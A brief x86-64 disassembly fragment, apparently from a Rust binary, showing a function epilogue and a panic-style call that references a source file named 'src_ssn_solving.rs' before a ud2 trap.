pop rbx
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, str.src_ssn_solving.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.180007260
lea r8, [rsp + 0x48]
mov ecx, 1
xor edx, edx
call fcn.1800ebdf0
ud2